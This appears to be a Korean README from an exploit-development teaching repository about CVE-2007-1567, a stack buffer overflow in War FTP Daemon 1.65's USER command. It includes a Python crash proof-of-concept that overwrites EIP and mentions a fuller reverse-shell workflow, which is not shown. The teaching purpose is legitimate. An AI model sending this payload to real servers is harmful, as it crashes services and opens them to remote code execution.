
War FTP Daemon 1.65의 고전적인 스택 기반 버퍼 오버플로우로, 잘못된 형식의 FTP 명령을 통해 구식 원격 코드 실행을 보여줍니다.
War FTP Daemon 1.65의 고전적인 스택 기반 버퍼 오버플로우로, 잘못된 FTP 명령을 통해 올드스쿨 원격 코드 실행을 시연합니다.
이 저장소는 메모리 손상 익스플로잇을 가르칠 때 사용하는 자료의 일부입니다. (정규 업무 외에도 여러 사이버보안 강좌에서 강의하며 차세대 리버스 엔지니어 양성을 돕고 있습니다.)
CVE-2007-1567은 베이직한 EIP 덮어쓰기의 기본을 소개한 직후에 사용하는 사례입니다. 익스플로잇은 깔끔하고 직설적이지만, 일반적인 첫 연습보다 약간 더 흥미롭게 만드는 세부 사항이 있습니다. FTP 프로토콜이 도입하는 추가적인 배드 캐릭터로, 학생들이 셸코드를 작성할 때 이를 식별하고 처리해야 합니다. 작은 제약이지만, 학생들이 이미 사용한 기법을 단순히 복사하는 대신 생각하게 만듭니다.
War FTP Daemon 1.65는 1990년대 후반의 레거시 Windows FTP 서버입니다. 취약점은 USER 명령 처리기에 있으며, 이 처리기는 sprintf를 사용하여 사용자 제어 입력을 길이 검증 없이 고정 크기 스택 버퍼로 복사합니다. 이 사례가 교육에 유용한 이유:
War FTP Daemon은 1990년대 후반에 작성된 Windows FTP 서버입니다. TCP 포트 21에서 수신 대기하며 표준 FTP 명령을 처리합니다. 취약점은 USER 명령 처리기에 있으며, 이 처리기는 연결 클라이언트가 보낸 사용자 이름을 sprintf를 사용하여 길이 검증 없이 처리합니다.
주요 기술 세부 사항:
| 주요 기술 세부 사항: |
|---|
| 취약점 유형: | 스택 기반 버퍼 오버플로우 |
| 영향을 받는 버전: | War FTP Daemon 1.65 |
| 영향을 받는 엔드포인트: | FTP USER 명령 |
| 취약한 구성 요소: | USER 명령 처리기 |
| 인증 필요: | 아니오 |
| 영향: | 원격 코드 실행 |
War FTP Daemon은 제공된 사용자 이름을 sprintf에 전달하여 USER 명령을 처리하며, 이는 길이를 확인하지 않고 고정 크기 스택 버퍼에 복사합니다. 취약한 로직의 단순화된 버전은 다음과 같습니다:
char buffer[256];
sprintf(buffer, "%sCRLF", username);
USER 인수로 충분히 긴 문자열을 보내면 복사가 버퍼 끝을 넘어 스택을 손상시키며 저장된 리턴 주소가 덮어씌워질 때까지 진행됩니다. 함수가 반환되면 CPU는 스택에서 공격자가 제어한 값을 EIP로 로드하여 해당 주소로 점프합니다.
크래시는 FTP를 통해 과도하게 큰 USER 인수를 전송하여 재현할 수 있습니다. 인증이 필요하지 않습니다. Python 사용 예:
import socket
HOST = '127.0.0.1'
PORT = 21
payload = b"A" * 700
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)
s.send(b"USER " + payload + b"\r\n")
s.close()
디버거에서 실행하면 크래시 시 EIP가 사용자 제어 데이터로 덮어씌워진 것을 확인할 수 있습니다:
EIP = 41414141
이는 저장된 리턴 주소가 오버플로우에 의해 손상되었음을 확인해줍니다.
이 저장소의 목표는 크래시를 시연하는 것뿐만 아니라, 퍼징부터 작동하는 리버스 셸까지 전체 익스플로잇 과정을 단계별로 안내하는 것입니다.
메인 README를 깔끔하게 유지하기 위해 상세한 익스플로잇 노트, 스크립트, 디버거 단계는 이 저장소의 Vulnerability 📂 폴더에 있습니다.
다음 항목을 포함하여 이 CVE를 익스플로잇하는 데 사용된 전체 작업 흐름을 찾을 수 있습니다: